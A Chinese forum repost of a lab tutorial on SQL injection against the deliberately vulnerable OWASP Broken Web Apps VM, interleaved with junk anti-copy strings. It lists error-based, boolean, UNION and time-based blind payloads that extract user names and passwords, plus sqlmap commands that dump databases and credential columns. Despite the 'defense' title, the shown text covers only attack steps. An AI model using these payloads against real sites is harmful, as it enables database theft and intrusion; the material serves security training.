找回密码
 加入怎通
查看: 207|回复: 1

SQL注入攻击及防御详解(sql注入攻击和防御实验)

[复制链接]
我来看看 发表于 2023-03-19 11:03:18 | 显示全部楼层 |阅读模式
* M2 Q7 {3 I& J* z- W" d

在owasp年度top 10 安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。

5 |- W( w3 d5 c- D; _' ~

对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle; 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;

, ^2 ]& u1 H) x: h1 q& r0 \

SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程; 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!1.实验说明 ; ]' M, @8 @% s4 J 目标靶机:OWASP_Broken_Web_Apps_VM_1.2 3 ~" x; W/ G. J4 A) ]& i( p1 p L

( e: v3 a! I# C3 B8 B( t6 Q

下载地址 % z$ H' c( K4 n6 } 测试渗透机:Kali-Linux-2018.2-vm-amd64 $ b+ \" b7 R8 u6 W* p 下载地址1.SQL注入的危害% ~) Y; \2 h0 ]. Y/ p/ D6 L 1、拖库导致用户数据泄漏;7 E6 x) W* |/ o 2、危害web等应用的安全; 5 L9 M1 ~7 @# A% }4 E" p4 ^ 3、失去操作系统的控制权;/ F) g+ n6 {" ?( u8 U C 4、用户信息被非法买卖; 3 {& M! ?' L- A6 p: B 5、危害企业及国家的安全!

, \& {: ?4 j. M4 f7 w5 E) O0 Q

2.注入流程 1 \' E M" W' S( V u- u; e% m' G 1. 判断是否有SQL注入漏洞;5 }/ |; O( |" n% v. j0 G 2. 判断操作系统、数据库和web应用的类型;' K! R# [/ g# @0 b* L8 t. \ 3. 获取数据库信息,包括管理员信息及拖库; / G* }# `4 C1 n* _% S 4. 加密信息破解,sqlmap可自动破解; - U" {0 B$ Z% ?+ g, {1 @ 5. 提升权限,获得sql-shell、os-shell、登录应用后台;

7 ~# M9 B7 l, z4 v) |' Y# u! b

2.手动注入实战" w/ i; E% t4 d, D8 A$ u' p9 K 1.基于错误的注入 0 V+ m2 f5 V) j8 s! G 错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息 ! H/ J" Z2 q' {/ \2 I' u 通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

- `( O# \4 e9 Y! A- Y5 T

SQL注入语句解析: 3 _2 g. C+ H: T5 k mysql> select first_name,last_name from dvwa.users;4 E3 i F# M/ [5 s mysql> select first_name,last_name from dvwa.users where user_id=1; 2 `2 p- a; e2 _! C [+ w4 W #你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句

3 o( C& Y k" [! \& ~

怎么样判断我们是否可以注入呢?0 o5 P0 A( F" i0 E+ m7 ^8 i

7 |/ V# {, p3 j8 h/ ~; n( ~5 b

3 c1 o1 L& M- W* l 会发生页面报错+ ?: p. k! k" h+ D5 z. a You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1

9 j( W5 B, X% g% N; |- K, d

SQL注入语句解析:$ b( c: @% U9 `% K- A mysql> select first_name,last_name from dvwa.users where user_id=这就代表此网站我们可以注入,有注入点 4 C9 j8 r o" y/ p9 s: ]; v 2.基于布尔的注入 % R0 D; O. X2 h8 G# k% r! P

6 y; b- B5 m& [1 f4 Q/ h+ P4 ^9 D

这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码 ) H& |- y y% T

: i0 ]7 G8 {$ Y$ M1 {

注入语句: or 1=1 --* b( |( s& q5 {4 ~' Q 原始语句: 4 p2 ~6 m8 g7 |; c( a mysql> select first_name,last_name from dvwa.users where user_id=. H# E! ^. I7 O! ~ SQL注入语句解析: or 1=1 --. _+ g" O4 n5 n2 q! `- _/ Q mysql> select first_name,last_name from dvwa.users where user_id= or 1=1 --* m2 \# s0 p5 e7 n2 O8 K2 v 说明:7 L- B$ u% q: k4 z 第一个 用于闭合前面的条件 . `% x @( s/ n6 @ or 1=1 为真的条件/ W8 A( l3 g& P; B) L -- 将注释后面的所有语句 o0 L( g* n+ x% V, x; y' c* ` 仔细看where user_id= or 1=1 -- 这个条件语句' b. [4 e- |3 A# E: o user_id= 这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假 r# H: H+ Z& a( t B 但是1=1 这个语句肯定为真 -- 是注释的意思,也就说后面的不用管 7 O9 y. t$ b4 P0 W or 表示有一个条件为真就是真8 ^6 A- }$ R' A1 C+ W3 G/ B 那总得来说这个where语句一定为真 F4 ^ I7 n% V 整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容

" w4 E1 ~# f, e

3.基于UNION注入 3 V0 \, y7 k/ m( K5 m' n9 R4 _- V UNION语句用于联合前面的SELECT查询语句,合并查询更多信息; l1 f5 C3 N( z0 k 一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息" p# [4 f/ \5 c$ } I //猜测数据列数 4 n- T7 f8 [* S$ } union select 1 -- 2 I/ E; ]9 K/ ?0 X& _; [6 |) @ union select 1,2 -- 2 H9 Q5 i/ q$ e/ l: p% q' @ union select 1,2,3 --' R! H3 j8 r" w$ j; G8 H union select 1,2,3,4 -- & h# H( k5 h' V, _% M SQL注入语句解析:, t% j" S7 P! X l; J" j& m mysql> select first_name,last_name from dvwa.users where user_id= union select 1 -- # v- i& X# ]+ c3 ~* Z7 H mysql> select first_name,last_name from dvwa.users where user_id= union select 1,2 --* ]& H9 g! d( B: g 5 J, @, T1 y+ i0 W- r3 k9 l0 V7 u8 { //union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的 2 x) D( G# D2 ?3 P$ ~) s 字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。

! I& O) v$ `* N, K7 c

这里! @0 f( }+ p; H- H, E6 U 显然只有两个字段

8 H4 H( _& y! i- K& H

你查询的不一定非要是字段,也可以是版本,表之类的! k! q5 S8 c+ n5 J$ f+ c+ [0 g$ v5 { //获得当前数据库及用户信息 , U3 d2 g2 y% j6 ~! k+ k union select version(), database() --+ P% i' i2 m" \) @0 ~1 |! f, x union select user(), database() -- & u) p3 U' _9 W7 y' v \9 T* X5 [ //查询所有库名7 ]% i2 J# d: r } union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --; W T& h5 Q0 l" W, X #这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的- S5 _$ l& K% i5 R //查看所库中所有表名% O5 `# |5 U0 X union select table_name, 1 from INFORMATION_SCHEMA.tables --; H4 F+ o1 x7 ~% c& [& E //同时查询表名及对应库名" P4 }% t6 N6 O% P6 S union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables --0 p+ z3 P3 w* m //查询数据列 # B4 }: m- x k union select NULL, user from users -- union select NULL, password from users --% S8 h- m5 s" g8 O% q% H ? union select user, password from users -- union select NULL, GRANTEE from USER_PRIVILEGES --% R6 K7 e3 E- R6 w. u6 \ 因为union前面只有两个字段,那我们想要查询多个字段怎么办? ; V1 J% O; b5 H% U 用mysql自带的函数concat(),如 % \: E" y$ J! P! H3 g0 x, T union select password, concat(first_name, ,last_name, ,user) from users --. i/ E3 ^4 M# M2 @0 D, J) M

+ s1 H& o/ ^9 T4 B m3 h( h/ g

k4 p/ O: P+ B7 Y 4.基于时间的盲注6 L) Y( e( v: J6 { 有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点1 and sleep(5) --4 J, A) t: y9 D5 g" H' _, b2 p SQL注入语句解析: + e% F8 Y2 p0 t' B" Q mysql> select first_name,last_name from dvwa.users where user_id=1 and sleep(5) -- 。

0 e- y' ]* S9 l

3.sqlmap自动化注入SQL注入比较好用的工具,首推开源工具SQLmapSQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。

8 K! n+ q) H# ?

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

) O3 K7 ]- Q0 T! h( d

+ ^( l: Q# I# X7 x 1.GET方法注入: y, b. R' v A4 W. U1 A. \ 打开kali,用户名root 密码toor ( J6 o% X: Q& S$ M

# u8 ?$ L( y2 a! U7 e

% O$ U* G% G u: E9 r+ M 查看帮助我们发现我们需要获取到网页的url 4 n7 n4 h2 d0 r% @- T: ]/ X! R

2 b. f# z% A0 g8 H# S

( y# ^! |/ O% [ r6 J* f. u* G 然后我们把该网页的连接复制下来在kali里面进行测试root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"

! |+ e( g0 K) X& O7 u

sqlmap参数解析:" Q+ t% A7 z9 B0 l --users #所有用户 1 T6 e. o7 y' K$ O" u. I" d --current-user #当前用户 * f5 \* n+ N6 W --dbs #所有库% V: A" C& o! k9 V( p1 r --current-db #当前库 - ^3 c% |) ~( X5 E( x# U5 z- v -D "database_name" --tables #指定库名: N B4 C# \# `' l m0 q6 @ N -D "database_name" -T "table_name" --columns #指定库名和表名 & {' F, z3 a# c/ m" s! t --dump-all #所有的内容 ! p, G9 ^6 e8 V7 j4 L( h --dump-all --exclude-sysdbs 5 a& Y% Z" M! I" X( a- @ -D "database_name" -T "table_name" --dump" y4 O; N N* c3 S7 X3 t( W$ D+ ~ -D "database_name" -T "table_name" -C "username, password" --dump * S5 _$ N( Q( y: y6 O) O #-C 指定字段5 Y! |) |: r+ \3 v9 E --batch //自动化完成 6 n2 E+ ?/ q; J 示例步骤: ! f* v# p4 e" g1 M% I# H" H 1. 获得当前数据库 / l4 \5 O5 J+ ^7 Y- J root@kali:~# sqlmap -u "你自己的url" --batch --current-db ~' O2 m- Q4 {, P* M8 e' ^3 t 2. 获得数据库表- E9 H8 K% ?1 d root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables * c; K1 L0 m# D9 K" @/ ~& X 3. 获得表的字段 W4 w1 ^3 o: J+ ]: K/ L" V& P- O root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns5 M" i; {6 L1 c7 D. E9 l4 n/ N6 k 4. 获得表中的数据 1 x5 u( f$ q6 p9 B$ E a root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump

) {( D! G; c. n" M% T8 f

) X) n! G9 _& V/ s) z8 N L 2.POST方法注入 . `" m( z8 N: v) b: e* q" \) q 需要带cookie才能访问的注入页面,--cookie="", [% N& v: U4 {! N6 M$ a

2 l9 u; E3 p/ y+ r/ @

root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch

# K# Q4 o5 T8 {% T

/ Q% T( n2 h/ n; F 参数跟get获取的参数一样,就是post需要用url+cookie你们的评论和点赞是我写文章的最大动力,蟹蟹。

+ K9 S3 h0 Y5 [5 L+ P + G# I2 w Z% y$ D Q' o6 F$ ]" C " R; \. L( T7 K+ i+ I) J" g* E5 |0 C/ N F- e. E! s " b6 y3 t/ S$ i& c
回复

使用道具 举报

soolanet 发表于 2026-03-14 15:01:10 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-4-4 06:47 , Processed in 0.052515 second(s), 23 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表